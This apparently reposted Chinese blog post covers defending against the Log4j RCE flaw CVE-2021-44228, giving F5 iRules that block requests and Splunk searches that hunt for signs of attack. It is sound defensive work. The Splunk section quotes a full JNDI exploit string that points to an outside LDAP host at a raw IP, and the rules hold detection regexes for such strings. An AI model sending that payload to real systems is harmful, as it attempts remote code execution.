暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

CVE-2021-44228|Log4j RCE漏洞防护与入侵检测

小咩社长 2021-12-14
2078
阅读提示|本文大概3750字   阅读需要5分钟

撸文背景

最近Apache Log4j漏洞搞的人心惶惶,不少安全厂商也都都第一时间更新了signatrue规则库更新,响应极其迅速。但是毕竟信息安全本质上是就是一个你攻我防不断对抗的过程,所以攻击手段不断变种,不少客户也反馈也有WAF绕过发生。规则库只能暂时缓解攻击,为漏洞服务打补丁争取时间窗口。

Apache Log4j漏洞简介

近期流行的开源 Apache Log4j 日志库中的一个严重漏洞(CVE-2021-44228),对使用该库的数千个应用程序和第三方应用服务构成了威胁。使用 Log4j 框架的应用程序和工具非常广泛,比如 Apache Struts 2、 Apache Solr、 Apache Druid 和 Apache Flink。首先攻击者会插入一个特制的字符串,然后 Log4j 记录这个字符串。然后攻击者可以从外部源代码执行任意代码。目前 Apache软件基金会发布了针对该漏洞的紧急补丁。受影响的组织应该尽快升级到 Log4j 2.15.0,如果不可能升级,则应用适当的缓解措施。

Apache Log4j < = 2.14.1 JNDI 特性用于配置、日志消息和参数,这些特性不能防止攻击者控制的 LDAP 和其他与 JNDI 相关的端点。当启用消息查找替换时,可以控制日志消息或日志消息参数的攻击者可以执行从 LDAP 服务器加载的任意代码。漏洞利用成功需符合以下条件,毕竟最终目的是的是C2外联恶意站点,大部分企业很少会开通服务器主动外联互联网,所以风险还算可控。

  1. Log4j 的版本必须是 > = 2.0-beta9和 < = 2.14.1,可能 Log4j 1. x 也受到了影响,该软件已经 EOL 超过6年了。

  2. 攻击者必须能够访问目标系统,以便发送恶意的有效载荷

  3. 来自攻击者的请求必须通过 Log4j 记录

  4. 服务器有主动外网访问权限

Log4j RCE官方漏洞修复指南

https://logging.apache.org/log4j/2.x/security.html

F5 iRules实现漏洞封堵

近期F5也发了关于Log4j漏洞预警,目前F5产品本身不受该漏洞影响。并且F5 BIG-IP ASM/Advanced WAF 和 NGINX App Protect产品已经第一时间更新特征库,可以实现漏洞封堵。但是部分客户表示现网没有F5的AWAF安全设备,只有LTM设备,能不能通过iRules实现漏洞封堵,答案是肯定的。以下是官方提供的iRules规则,多说一句,由于漏洞利用变种较多,该iRules只能减缓攻击,也有被绕过的风险,只是为服务器打补丁争取宝贵的时间。

when HTTP_REQUEST {
  # Version 2.0 - 2021-12-11 23:40 Eastern
  # - Handling nested URI encoding
  # - Improved matching
  # Version 1.0 - 2021-12-11 06:10 Eastern
  # - Initial release
  # less aggressive regexp for those concerned about false positives "\$\{(\$\{env:[^:]+:-|\$\{[a-z]+:)?j\}?(\$\{env:[^:]+:-|\$\{[a-z]+:)?n.+:.+\}" (remove quotes)
  # very aggressive regexp "\$\{.+?\}" (remove quotes)
  # URI – based on 200004474
  set tmpUri [HTTP::uri -normalized]
  set uri [URI::decode $tmpUri]
  while { $uri ne $tmpUri } {
    set tmpUri $uri
    set uri [URI::decode $tmpUri]
  }

  if {[string tolower $uri] matches_regex {\$\{}} {
    log local0. "log4j_rce_detection drop on URI: $uri"
    drop
    event disable all
    return
  }

  set tmpReq [HTTP::request]
  set req [URI::decode $tmpReq]
  while { $req ne $tmpReq } {
    set tmpReq $req
    set req [URI::decode $tmpReq]
  }

  # Header – looks for ${j…} or ${${…}}
  if {[string tolower $req] matches_regex {\$\{\s*(j|\$\{).+?\}}} {
    log local0. "log4j_rce_detection drop on header: $req"
    drop
    event disable all
    return
  }

  # Payload – looks for ${j…} or ${${…}}
  if {[HTTP::method] eq "POST"}{
    # Trigger collection for up to 1MB of data
    if {[HTTP::header "Content-Length"] ne "" && [HTTP::header "Content-Length"] <= 1048576}{
      set content_length [HTTP::header "Content-Length"]
    } else {
      set content_length 1048576
    }
    # Check if $content_length is not set to 0
    if { $content_length > 0} {
      HTTP::collect $content_length
    }
  }
}
when HTTP_REQUEST_DATA {
  set tmpPayload [HTTP::payload]
  set payload [URI::decode $tmpPayload]
  while { $payload ne $tmpPayload } {
    set tmpPayload $payload
    set payload [URI::decode $tmpPayload]
  }

  if {[string tolower $payload] matches_regex {\$\{\s*(j|\$\{).+?\}}} {
    log local0. "log4j_rce_detection drop on payload"
    drop
    event disable all
  }
}

复制

漏洞利用行为检测

之前写过可观测性系列文章,我默认大家都已经实现了全网流量的可视化。基于这一点,那么我们如何通过Splunk查看现网主机是否有被攻击的痕迹,或者已经被攻陷?漏洞利用比较常见的方式是在 HTTP User-Agent中携带包含${jndi关键字的恶意执行代码,所以可以使用Splunk直接检索http访问日志。

# Splunk搜索语句
sourcetype=bro:http:json user_agent=${jndi:*}
stats sparkline values(user_agent) count by src_ip, dest_ip, dest_port

#伪造http User-Agent只是攻击方式其中的一种,也可能$
{jndi被插入到paylod中也可以使用以下通配的方式过滤所有索引中包含${jndi关键字的日志信息
index=* ${jndi:*}

复制

但是一般情况下为了不被waf特征识别,恶意攻击者会对可执行代码执行Base64编码,那么如何通过Splunk进一步解析攻击行为呢?

# Splunk搜索语句
| makeresults 
| eval test="${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/U28gTG9uZywgYW5kIFRoYW5rcyBmb3IgQWxsIHRoZSBGaXNo}"
| rex field=test "\/Base64\/(?\S+)}"
| table string
| cyberchef infield=string outfield=result operation=FromBase64

复制

目前漏洞已经爆出来了一段时间,大部分的扫描器已经集成了了Log4j漏洞扫描检测功能,为了更好的梳理现网受漏洞影响的资产,可以使用扫描器对接Splunk分析平台,定期的扫描企业资产然后实现漏洞实时监控。

总结

  1. 得益于F5 iRules的可编程特性,我们可以限制漏洞利用行为,为服务器Log4j2漏洞修补争取时间,同时客户惊喜的发现买了F5的负载均衡设备相当于同时买了一台WAF?
  2. 通过以splunk安全底座我们实现攻击行为的回放,第一时间定位入侵行为,对失陷主机进行隔离排查,同时梳理企业风险资产,做到心有蔷薇,细嗅猛虎!

    参考链接
    https://support.f5.com/csp/article/K19026212
    https://www.splunk.com/en_us/blog/security/log-jammin-log4j-2-rce.html

觉得本文对你有帮助,请分享给更多人


- EOF -

推荐阅读  点击标题可跳转

1、可观测性|使用Splunk 转发器实现容器overlay网络环境下的2-7层全局可观测性

2、一文读懂F5 REST API的细粒度角色访问控制

3、手把手教你使用Rancher快速创建一个kubernetes集群

4、tcpdump抓包拆解flannel vxlan模式下的容器跨主机通信流程

5、Rancher Server自动下发F5负载均衡策略实践|7层负载均衡

文章转载自小咩社长,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论